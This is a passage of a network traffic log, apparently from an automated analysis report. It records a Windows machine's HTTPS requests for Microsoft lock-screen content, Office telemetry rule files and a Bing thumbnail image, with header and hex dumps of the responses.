arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:22 UTC	815	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 23559 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: ergFzyWyUZIwfZcFQBZAdN5bq0aqLGcrCxvxoWOKGd1EnILTXyOpziQU/myuEURAPjuAqcB481AfbPOfX/oFt5f/O417Zvpx+irZPDCFwLYLN2PeMOD4pVQK7MKOUB8eZsM4OeLWyY9prYtqzAUmYDWUT5PPnwKdqA7y7bM2RhNwec7MhuzKopPrgniX3mS/jXrdgu+3mURrmCMkxT/7ApYjbegN7SGMmGKgu0RsTpun4P6uhkNZRgIeUNoJ5OwuRbBSk6TuhXoONRhTnyBRTlMsO0zRmqEtdAEIoshmFwpeduALRzF7VBQ6vrmxHG4b9H1HtCWWj0zCVhZLjEpaNQ== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:21 GMT Connection: close
2024-11-23 01:55:22 UTC	15569	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 69 6d 61 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage\":{\"type\":\"ima
2024-11-23 01:55:22 UTC	7990	IN	Data Raw: 6a 63 6a 4d 6a 4d 7a 4e 6a 67 77 4e 54 67 77 4e 7a 41 7a 4e 44 59 7a 4e 51 3d 3d 5c 22 7d 2c 5c 22 5f 66 6c 69 67 68 74 5c 22 3a 5c 22 5c 22 7d 7d 22 7d 2c 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 4c 6f 63 6b 53 63 72 65 65 6e 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 5c 22 6c 61 6e 64 73 63 61 70 65 49 6d 61 67 65 Data Ascii: jcjMjMzNjgwNTgwNzAzNDYzNQ==\"},\"_flight\":\"\"}}"},{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"LockScreen\",\"propertyManifest\":{\"landscapeImage

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:22 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015521Z-178bfbc474bmqmgjhC1NYCy16c00000003ug00000000fmhg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:22 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49751	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:21 UTC	375	OUT	GET /th?id=OADD2.10239385875216_1P4KL3FZIJKZ633OT&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:22 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 336046 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 9641C5106EE14921AB50F9003464427E Ref B: EWR311000102017 Ref C: 2024-11-23T01:55:22Z Date: Sat, 23 Nov 2024 01:55:21 GMT Connection: close
2024-11-23 01:55:22 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 34 3a 30 39 20 31 38 3a 32 34 3a 33 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.4 (Windows)2024:04:09 18:24:368C
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: cb 19 1d 3e 88 d2 88 e8 34 08 ff 00 e9 a5 3f 65 2d 47 52 01 46 d1 4f 91 28 d9 41 98 cd b5 1d 4f ff 00 4c e9 92 25 50 0c 8f e4 a2 4a 9b 65 43 25 68 03 29 92 25 4d 25 43 25 51 8c c8 24 4a af 25 5c a8 64 ae ea 07 15 42 8d 47 56 6e 16 a1 d9 b2 bd 3a 67 91 5b 70 d9 46 ca 7c 74 55 92 43 45 3e 4a 23 a7 4c ce 43 28 a9 28 ad a9 99 cc 8e 99 22 53 e4 4a 36 d7 6c 0e 39 95 b6 53 24 ab 32 25 43 22 57 a1 4e 67 14 e0 41 45 49 45 68 67 ec c6 6c a6 6d a9 a8 a3 9c 3d 99 0c 95 0d 4d 22 53 6b a6 99 8c c8 f6 d3 36 54 f4 55 98 15 e8 a9 36 d1 b6 80 23 a9 29 fb 29 95 26 f0 1f 1d 3f 6d 32 3a 9a 3a e5 99 b5 30 8d 28 d9 53 46 b4 6c ae 29 cc ee a6 41 45 49 b6 9f 1a 57 14 e6 76 53 0d 95 36 ca 64 69 4e ae 29 cc ea a6 2e ca 4a 92 8a e6 37 19 b2 9f b6 88 ea 6d b5 50 01 b4 53 a8 db 5a 11 Data Ascii: >4?e-GRFO(AOL%PJeC%h)%M%C%Q$J%\dBGVn:g[pF\|tUCE>J#LC(("SJ6l9S$2%C"WNgAEIEhglm=M"Sk6TU6#))&?m2::0(SFl)AEIWvS6diN).J7mPSZ
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: d1 c2 2e 6e e3 e7 27 ee 25 78 14 67 c9 3f 74 cb 05 29 2a 92 97 37 bb d8 93 e1 2e 91 66 ba fd d3 8b df 37 ec 51 a0 31 7a 33 57 45 e3 2b d9 c3 fd 89 66 ff 00 8f 89 36 47 ed 58 da 45 e2 78 7f 43 92 0f 2b e7 92 4f de c9 2d 72 1a c7 8b e2 b9 f2 bf 7f ff 00 2d 7f d6 ff 00 bb 57 c9 3c 44 f9 a2 6d ec 1d 4c 4b ab 2f 85 6c 7a 8f 87 f5 5f df 7d 9e 7f fa e7 5d 4c 68 25 87 6b 8a f2 fd 16 e2 7d 76 eb 7d bc d1 47 75 6f 1a 49 ff 00 5d ab b6 f0 f6 ac f3 68 f2 09 ff 00 d7 5b 48 63 93 fd e1 5a 60 eb 42 94 e5 ed 76 b1 e4 e6 18 7e 57 cd 1d fa a3 93 f8 95 a5 c9 69 79 16 a7 6a 3c c9 23 ed fe cd 61 c1 a9 7f a5 44 1f fd 5c 9f bc ad 2f 8b da bd c2 59 6f 88 7e ee bc b3 58 d6 24 4f 27 cc 9f ca f2 aa f0 f8 69 e2 23 ee 1e f6 16 5c b8 58 fb 5d cf 5a b3 d6 ec d4 6c 07 e5 92 b8 5b 9b 0b Data Ascii: .n'%xg?t)*7.f7Q1z3WE+f6GXExC+O-r-W<DmLK/lz_}]Lh%k}v}GuoI]h[HcZ`Bv~Wiyj<#aD\/Yo~X$O'i#\X]Zl[
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: d7 a1 4f 9f ed 18 4c ad a8 5c 46 95 9b e5 49 79 37 fa 3c 1e 6c 71 7f cb 5a d5 fe c4 fb 4c df bc ad 5f b1 5b 5b 43 5b fb 68 44 cf 92 73 39 5b 7d 36 e6 db f7 91 cf fb ca 64 8d 7a 9f bb ff 00 96 92 d7 4f a8 45 6d e4 f9 95 cd ea 9e 65 b5 ef ee eb 68 56 e6 26 70 e5 2e 59 e9 fe 4f ef 2e 27 fd e5 37 ca b6 86 6f 33 fd 6f fd 75 a8 2c e2 b9 78 7c b9 27 ff 00 5b 4c b7 b7 b9 79 ba d4 54 11 37 95 1b cf e6 49 57 2c fc b4 a2 48 b6 54 3f 7e 7a c2 7e f9 b5 3f 74 b9 bf ce 9b cc ab 31 bd 56 8d 2a 68 eb 13 ae 99 25 15 1c 7f 25 49 59 97 01 d6 69 57 ed d3 65 56 b7 4a bf 1d 73 56 99 db 4c 5a 8e 46 fd f5 49 51 d7 31 b5 30 a9 2a 3a 37 56 63 23 a6 c7 4e a5 8e 82 84 a6 d1 45 00 32 4a 86 e2 a6 91 2a 19 12 b4 02 2a 8e a6 92 99 1d 51 23 24 a2 8d d4 56 c7 39 34 75 35 43 1d 3e 3a 00 7e Data Ascii: OL\FIy7<lqZL_[[C[hDs9[}6dzOEmehV&p.YO.'7o3ou,x\|'[LyT7IW,HT?~z~?t1Vh%%IYiWeVJsVLZFIQ10:7Vc#NE2J**Q#$V94u5C>:~
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: f2 ba 8f ff 00 1e a7 f8 6e ef 67 da a3 93 fe 79 55 6f 0f cb b3 c3 fe 25 b7 ff 00 a7 58 e4 ff 00 be 5d 2a 85 9d de cd 6b 50 8e 3f f5 7f 3d 5c 28 07 b7 3d 6b e1 bd df fc 4e ae bc bf f9 e5 57 fe 24 5c 7e e7 50 ff 00 ae 5f fb 25 72 5f 0c ee ff 00 e2 75 2f fd 35 b5 ff 00 d9 2b 6f e2 84 bf be bb ff 00 a6 b6 b1 c9 5d 5e cf dc 31 f6 9e f9 ca c9 71 be 68 aa ce 96 ff 00 b8 96 38 eb 95 fb 5f fa af fa e5 5b 1a 5d df fa df fa e5 5c 5e c4 e9 f6 86 94 92 ec b2 96 9f e1 7b df 27 54 97 fe b9 56 6c 92 ff 00 a1 4b ff 00 5c aa 9e 87 74 13 5a ff 00 c8 75 7c 84 73 9b 7e 24 97 7c 3e 67 fc f2 ae cf e1 5e b1 e7 78 62 ea cf fe 5a 45 e5 c9 15 79 ee a1 2e fd 2e 5f fa eb 57 3e 1b ea 7f 63 d6 a2 8e 4f f5 72 f9 71 cb 5b d3 81 8c e7 ee 1f 52 e8 77 11 ea 5e 1f 8a 4b 8f de c7 2c 5f bd af Data Ascii: ngyUo%X]*kP?=\(=kNW$\~P_%r_u/5+o]^1qh8_[]\^{'TVlK\tZu\|s~$\|>g^xbZEy.._W>cOrq[Rw^K,_
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: 1f 7d 3e e1 69 91 a5 74 80 cd 9e d4 b1 bd 49 4d d9 5a 00 48 94 da 75 37 ef d0 03 a3 a7 52 ec a6 49 59 9a 0e a9 29 9b 37 d1 1d 66 5d 32 cc 74 f8 ea 18 ff 00 d7 55 98 eb 9a a1 d3 00 a9 28 a2 b0 34 0a 28 a2 80 0a 28 a2 82 84 92 99 b6 a4 a8 e4 a0 92 19 29 b5 2c 94 ca e8 17 b4 19 25 1b 29 f4 55 d3 32 1b 51 c9 f3 d4 95 1c 95 b7 21 98 c9 12 99 22 53 a8 ab 81 84 e6 54 91 28 d9 53 48 94 46 95 db 4c f3 e6 43 b2 9f 1d 3f 65 3e 38 6a cc 27 30 8d 2a 6d b4 47 52 56 86 22 6c a7 c6 94 6d a7 50 01 52 51 b6 8d b4 72 1a 05 49 49 b2 88 d2 b0 a8 50 b4 53 a8 8e a0 de 01 b6 a6 8d 28 8e 9f 1d 61 50 db da 06 ca 7e da 23 a7 56 3c 86 9e d0 6c 69 56 63 4a 86 3a b3 6e 94 72 07 b4 1f 1a d1 25 3f 6d 3f 65 5f 21 9f b4 21 8e 9f 52 53 b6 d1 c8 47 39 56 a4 a7 ec a3 65 01 ce 1b 28 d9 46 ca Data Ascii: }>itIMZHu7RIY)7f]2tU(4((),%)U2Q!"ST(SHFLC?e>8j'0*mGRV"lmPRQrIIPS(aP~#V<liVcJ:nr%?m?e_!!RSG9Ve(F
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: 1c f8 d9 a7 fd 8f e2 44 57 1f f2 ce 58 9e b9 ef 18 5b db 7d b6 29 24 fd ef fa 2c 95 e8 5f b4 04 5f e9 b1 5e 7f d3 5f fc 71 ab ce bc 61 f2 69 76 b7 1f f5 d2 3f fc 72 b6 a6 44 e0 71 fe 38 8a 3f ed 39 ae 23 ff 00 59 2d ac 12 4b ff 00 01 f2 eb b0 f8 5f 2e cb 1f 33 fe 9a d7 25 e2 8f df 41 6b 27 fd 42 ab a7 f8 7f f2 41 fb bf f9 6b 2c 74 56 f8 0c e1 f1 97 3e 36 27 fc 4a fc cf f9 eb 6b 07 fe 87 5c f7 c0 bb 8f 26 f7 cb ff 00 a6 b1 d7 49 f1 81 37 e9 71 7f d7 a7 fe 83 35 71 ff 00 0b e5 d9 a9 f9 75 1f 60 d3 ed 9e eb f0 5e f7 ec de 20 8b fe fd d7 a1 7c 54 4d fe 1f ba ff 00 ae 52 57 8f fc 3f b8 92 1f 13 f9 7f f6 d2 2a f6 6f 1c 45 f6 9f 0c ff 00 db 2a e5 97 c6 74 d3 3e 63 91 ff 00 7d f6 7f fb 67 5e 69 f1 02 df 66 a9 e6 7f cf 5a f4 8d 61 36 6a 72 c9 ff 00 4d 6b 8c f8 b1 Data Ascii: DWX[})$,__^_qaiv?rDq8?9#Y-K_.3%Ak'BAk,tV>6'Jk\&I7q5qu`^ \|TMRW?oEt>c}g^ifZa6jrMk
2024-11-23 01:55:22 UTC	16069	IN	Data Raw: 27 da ab 07 4b ff 00 5f 5d 87 c1 fb 29 35 bf 88 3a 7e 97 71 e4 c5 6f 2c bf e9 5f f4 ce 2f e2 ab c5 7b 90 e6 1d 09 1f 49 7e c8 7e 1c d4 56 7b 5f 12 cd 0f d9 b4 9f 2a 6b 7b 59 65 3f 3d f3 31 eb 12 ff 00 73 fd aa fa 1f 45 8b ca bc f2 2b c9 2d 75 d8 a5 f8 c1 e1 3f 0f e9 5f b9 b7 b2 b5 c9 8b fb 91 63 0a b5 ec d6 cb 8d 72 4f a5 7c 36 2b df 9f 31 d3 88 bc 17 2b ec 6c 62 b1 b5 28 89 d7 23 93 fe 99 56 a3 1c d5 5d 49 23 4f df ff 00 cf 38 de a1 6e 79 94 bd d9 1e 75 a3 2f da 3c 69 e2 29 13 fd 5f 98 22 97 fe 02 95 e6 de 0f 8b fe 2b ab ad 3e 3f dd 7e ea 3a ed 3e 0f 5e fd a7 c5 be 24 df ff 00 2f 33 79 b5 cd 47 6f f6 6f 8b 72 de 7f cf 5b 57 af 5a 84 3e 23 e8 29 69 3b 1e 09 f1 32 2f df 78 fe 4f f9 67 fd a1 1c 75 e3 f2 7f ae fd dd 7a d7 c4 8b b8 e1 f0 c7 88 2e 24 ff 00 59 Data Ascii: 'K_])5:~qo,_/{I~~V{_*k{Ye?=1sE+-u?_crO\|6+1+lb(#V]I#O8nyu/<i)_"+>?~:>^$/3yGoor[WZ>#)i;2/xOguz.$Y
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: 28 be 7f fb e9 ab 9e b8 be 96 fe 6f 32 38 3f 77 17 fa aa 9b 4f 96 e5 f5 39 63 b3 fd d4 7f f2 d6 5f f6 2b b6 75 ab 79 23 82 75 0e 93 50 b1 fe c8 87 fb 42 f3 ce f3 3f e5 97 fb ff 00 ee d7 37 79 71 73 fb df 32 09 a5 93 cd ff 00 96 b0 d7 45 3f 8a 2e 34 d8 22 b7 b0 f2 7f 7b fe b6 ea 5f 9e a9 dc 78 c3 51 b6 86 29 24 ff 00 4a b8 97 fd 55 72 42 75 a5 f6 6e 29 d4 e6 30 ed 6d f5 1b 88 7f 77 65 37 99 ff 00 2d 7c 98 6a 8d c0 b9 7b df ec cd 3e c6 7f b5 ff 00 cf af f1 c7 fe d5 6f 5c 78 a3 59 d4 7c df 32 f6 6b 68 e2 ff 00 9e 55 62 cf 55 8e 6b 3f 2e e2 79 a5 93 ca ff 00 5b fc 7f f7 dd 6f 19 ce 1f 14 4c 0b 9f d9 f2 4b a3 da e9 fa 84 ff 00 bb 8a 2f dd 45 14 df 24 1f ed 6d fe f5 5a b2 f0 ff 00 87 6c fc df ed 3b d9 a5 93 ca f3 25 8a 2d e9 e5 af fb 55 93 67 aa f9 30 cb 24 7f Data Ascii: (o28?wO9c_+uy#uPB?7yqs2E?.4"{_xQ)$JUrBun)0mwe7-\|j{>o\xY\|2khUbUk?.y[oLK/E$mZl;%-Ug0$
2024-11-23 01:55:22 UTC	16384	IN	Data Raw: b1 3d e5 9d d5 84 76 5f e8 96 bb 25 b1 b5 f2 51 fe e7 f1 49 37 57 fe f5 26 97 f6 df ed 28 ae ec 3f d2 a4 ba 8b cb f2 bf bf f3 ff 00 e8 3e 95 a7 d5 e6 e1 69 54 66 9c e7 a2 49 65 a4 d8 69 7f 63 8f fe 5d 7c c9 7f 75 0f f1 b2 6e 89 1a a9 c6 ba 77 93 17 99 07 fa df de 79 d1 7c 9f 67 58 fe ff 00 c9 fc 7f ee d6 2d be b6 6c e6 fb 44 97 b0 dd 5e 58 fe f3 cd f3 bf 7d ff 00 03 fe fd 53 d6 35 8d 3f 54 d3 64 b0 b3 f2 62 93 ca fd ec bf f2 c7 fd bf b9 fc 55 cb 0c 2d 4e 7d 7e f0 e7 fe 53 77 54 8a c9 e1 b5 92 3f 27 f7 51 79 71 7e fb e7 9f cc fb bf fb 3e 5e b0 ae 2e 37 cd 14 9f f2 f1 6b fe b7 fe 9b ff 00 1e ff 00 c2 b3 74 3d 72 d9 75 89 7f 7d e6 da 45 17 97 fb df ef 2f e9 5a 56 fa 9e 83 aa 43 8b 09 e6 8a e3 ca ff 00 5b 77 36 f4 83 e7 f9 be 5f e1 f7 5a eb 8e 1e 70 f8 a2 c8 Data Ascii: =v_%QI7W&(?>iTfIeic]\|unwy\|gX-lD^X}S5?TdbU-N}~SwT?'Qyq~>^.7kt=ru}E/ZVC[w6_Zp

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:22 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:23 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: 76a157b4-e01e-00aa-258c-3aceda000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015523Z-174c587ffdfb74xqhC1TEBhabc000000024g00000000rr9x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:23 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49754	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:23 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:23 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 21648528-e01e-003c-794e-3cc70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015523Z-178bfbc474bgvl54hC1NYCsfuw00000003tg000000009d4d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:23 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:23 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
